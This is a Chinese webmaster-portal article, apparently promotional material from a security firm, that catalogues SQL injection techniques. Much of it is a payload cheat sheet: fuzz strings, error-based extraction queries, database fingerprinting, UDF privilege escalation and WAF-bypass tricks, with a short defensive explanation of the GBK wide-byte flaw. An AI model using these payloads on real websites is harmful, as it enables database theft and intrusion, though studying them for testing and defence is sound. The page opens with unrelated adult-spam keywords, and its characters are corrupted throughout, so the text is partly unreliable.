乱码乱a∨中文字幕,在线免费激情视频,亚洲欧美久久夜夜潮,国产在线网址

  1. <sub id="hjl7n"></sub>

    1. <sub id="hjl7n"></sub>

      <legend id="hjl7n"></legend>

      當(dāng)前位置:首頁 >  站長 >  建站經(jīng)驗 >  正文

      滲透測試對網(wǎng)站注入攻擊方法剖析

       2019-09-30 09:54  來源: A5用戶投稿   我來投稿 撤稿糾錯

        阿里云優(yōu)惠券 先領(lǐng)券再下單

      國慶即將到來,前一期講到獲取網(wǎng)站信息判斷所屬環(huán)境以及各個端口的用處和弱口令密碼利用方法,這期仍有很多客戶找到我們Sine安全想要了解針對于SQL注入攻擊的測試方法,這一期我們來講解下注入的攻擊分類和使用手法,讓客戶明白漏洞是如何產(chǎn)生的,會給網(wǎng)站安全帶來怎樣的影響!

      3.1 SQL注入漏洞

      3.1.1. 注入分類

      SQL注入是一種代碼注入技術(shù),用于攻擊數(shù)據(jù)驅(qū)動的應(yīng)用程序。在應(yīng)用程序中,如果沒有做恰當(dāng)?shù)倪^濾,則可能使得惡意的SQL語句被插入輸入字段中執(zhí)行(例如將數(shù)據(jù)庫內(nèi)容轉(zhuǎn)儲給攻擊者)。

      3.1.1.1. 按技巧分類

      根據(jù)使用的技巧,SQL注入類型可分為

      盲注

      布爾盲注:只能從應(yīng)用返回中推斷語句執(zhí)行后的布爾值

      時間盲注:應(yīng)用沒有明確的回顯,只能使用特定的時間函數(shù)來判斷

      報錯注入:應(yīng)用會顯示全部或者部分的報錯信息

      堆疊注入:有的應(yīng)用可以加入 ; 后一次執(zhí)行多條語句

      其他

      3.1.1.2. 按獲取數(shù)據(jù)的方式分類

      另外也可以根據(jù)獲取數(shù)據(jù)的方式分為3類

      inband

      利用Web應(yīng)用來直接獲取數(shù)據(jù)

      如報錯注入

      都是通過站點(diǎn)的響應(yīng)或者錯誤反饋來提取數(shù)據(jù)

      inference

      通過Web的一些反映來推斷數(shù)據(jù)

      如布爾盲注和堆疊注入

      也就是我們通俗的盲注,

      通過web應(yīng)用的其他改變來推斷數(shù)據(jù)

      out of band(OOB)

      通過其他傳輸方式來獲得數(shù)據(jù),比如DNS解析協(xié)議和電子郵件

      3.1.2. 注入檢測

      3.1.2.1. 常見的注入點(diǎn)

      GET/POST/PUT/DELETE參數(shù)

      X-Forwarded-For

      文件名

      3.1.2.2. Fuzz注入點(diǎn)

      ' / "

      1/1

      1/0

      and 1=1

      " and "1"="1

      and 1=2

      or 1=1

      or 1=

      ' and '1'='1

      + - ^ * % /

      << >> || | & &&

      ~

      !

      @

      反引號執(zhí)行

      3.1.2.3. 測試用常量

      @@version

      @@servername

      @@language

      @@spid

      3.1.2.4. 測試列數(shù)

      例如 域名/index.asp?id=12+union+select+nulll,null-- ,不斷增加 null 至不返回

      3.1.2.5. 報錯注入

      select 1/0

      select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a

      extractvalue(1, concat(0x5c,(select user())))

      updatexml(0x3a,concat(1,(select user())),1)

      exp(~(SELECT * from(select user())a))

      ST_LatFromGeoHash((select * from(select * from(select user())a)b))

      GTID_SUBSET(version(), 1)

      3.1.2.5.1. 基于geometric的報錯注入

      GeometryCollection((select * from (select * from(select user())a)b))

      polygon((select * from(select * from(select user())a)b))

      multipoint((select * from(select * from(select user())a)b))

      multilinestring((select * from(select * from(select user())a)b))

      LINESTRING((select * from(select * from(select user())a)b))

      multipolygon((select * from(select * from(select user())a)b))

      其中需要注意的是,基于exp函數(shù)的報錯注入在MySQL 5.5.49后的版本已經(jīng)不再生效,具體可以參考這個 commit 95825f 。

      而以上列表中基于geometric的報錯注入在這個 commit 5caea4 中被修復(fù),在5.5.x較后的版本中同樣不再生效。

      3.1.2.6. 堆疊注入

      ;select 1

      3.1.2.7. 注釋符

      #

      --+

      /*xxx*/

      /*!xxx*/

      /*!50000xxx*/

      3.1.2.8. 判斷過濾規(guī)則

      是否有trunc

      是否過濾某個字符

      是否過濾關(guān)鍵字

      slash和編碼

      3.1.2.9. 獲取信息

      判斷數(shù)據(jù)庫類型

      and exists (select * from msysobjects ) > 0 access數(shù)據(jù)庫

      and exists (select * from sysobjects ) > 0 SQLServer數(shù)據(jù)庫

      判斷數(shù)據(jù)庫表

      and exsits (select * from admin)

      版本、主機(jī)名、用戶名、庫名

      表和字段

      確定字段數(shù)(Order By Select Into)

      表名、列名

      3.1.2.10. 測試權(quán)限

      文件操作

      讀敏感文件

      寫shell

      帶外通道

      網(wǎng)絡(luò)請求

      3.1.3. 權(quán)限提升

      3.1.3.1. UDF提權(quán)

      UDF(User Defined Function,用戶自定義函數(shù))是MySQL提供的一個功能,可以通過編寫DLL擴(kuò)展為MySQL添加新函數(shù),擴(kuò)充其功能。

      當(dāng)獲得MySQL權(quán)限之后,即可通過這種方式上傳自定義的擴(kuò)展文件,從MySQL中執(zhí)行系統(tǒng)命令。

      3.1.4. 數(shù)據(jù)庫檢測

      3.1.4.1. MySQL

      sleep sleep(1)

      benchmark BENCHMARK(5000000, MD5('test'))

      字符串連接

      SELECT 'a' 'b'

      SELECT CONCAT('some','string')

      version

      SELECT @@version

      SELECT version()

      識別用函數(shù)

      connection_id()

      last_insert_id()

      row_count()

      3.1.4.2. Oracle

      字符串連接

      'a'||'oracle' --

      SELECT CONCAT('some','string')

      version

      SELECT banner FROM v$version

      SELECT banner FROM v$version WHERE rownum=1

      3.1.4.3. SQLServer

      WAITFOR WAITFOR DELAY '00:00:10';

      SERVERNAME SELECT @@SERVERNAME

      version SELECT @@version

      字符串連接

      SELECT 'some'+'string'

      常量

      @@pack_received

      @@rowcount

      3.1.4.4. PostgreSQL

      sleep pg_sleep(1)

      3.1.5. 繞過技巧

      編碼繞過

      大小寫

      url編碼

      html編碼

      十六進(jìn)制編碼

      unicode編碼

      注釋

      // -- -- + -- - # /**/ ;%00

      內(nèi)聯(lián)注釋用的更多,它有一個特性 /!**/ 只有MySQL能識別

      e.g. index.php?id=-1 /*!UNION*/ /*!SELECT*/ 1,2,3

      只過濾了一次時

      union => ununionion

      相同功能替換

      函數(shù)替換

      substring / mid / sub

      ascii / hex / bin

      benchmark / sleep

      變量替換

      user() / @@user

      符號和關(guān)鍵字

      and / &

      or / |

      HTTP參數(shù)

      HTTP參數(shù)污染

      id=1&id=2&id=3 根據(jù)容器不同會有不同的結(jié)果

      HTTP分割注入

      緩沖區(qū)溢出

      一些C語言的WAF處理的字符串長度有限,超出某個長度后的payload可能不會被處理

      二次注入有長度限制時,通過多句執(zhí)行的方法改掉數(shù)據(jù)庫該字段的長度繞過

      3.1.6. SQL注入小技巧

      3.1.6.1. 寬字節(jié)注入

      一般程序員用gbk編碼做開發(fā)的時候,會用 set names 'gbk' 來設(shè)定,這句話等同于

      set

      character_set_connection = 'gbk',

      character_set_result = 'gbk',

      character_set_client = 'gbk';

      漏洞發(fā)生的原因是執(zhí)行了 set character_set_client = 'gbk'; 之后,mysql就會認(rèn)為客戶端傳過來的數(shù)據(jù)是gbk編碼的,從而使用gbk去解碼,而mysql_real_escape是在解碼前執(zhí)行的。但是直接用 set names 'gbk' 的話real_escape是不知道設(shè)置的數(shù)據(jù)的編碼的,就會加 %5c 。此時server拿到數(shù)據(jù)解碼 就認(rèn)為提交的字符+%5c是gbk的一個字符,這樣就產(chǎn)生漏洞了。

      解決的辦法有三種,第一種是把client的charset設(shè)置為binary,就不會做一次解碼的操作。第二種是是 mysql_set_charset('gbk') ,這里就會把編碼的信息保存在和數(shù)據(jù)庫的連接里面,就不會出現(xiàn)這個問題了。第三種就是用pdo。如果期間想要滲透測試自己的網(wǎng)站安全性,可以聯(lián)系專業(yè)的網(wǎng)站安全公司來處理解決,國內(nèi)推薦Sinesafe,綠盟,啟明星辰等等的網(wǎng)站安全公司,還有一些其他的編碼技巧,比如latin會棄掉無效的unicode,那么admin%32在代碼里面不等于admin,在數(shù)據(jù)庫比較會等于admin。

      申請創(chuàng)業(yè)報道,分享創(chuàng)業(yè)好點(diǎn)子。點(diǎn)擊此處,共同探討創(chuàng)業(yè)新機(jī)遇!

      相關(guān)文章

      熱門排行

      信息推薦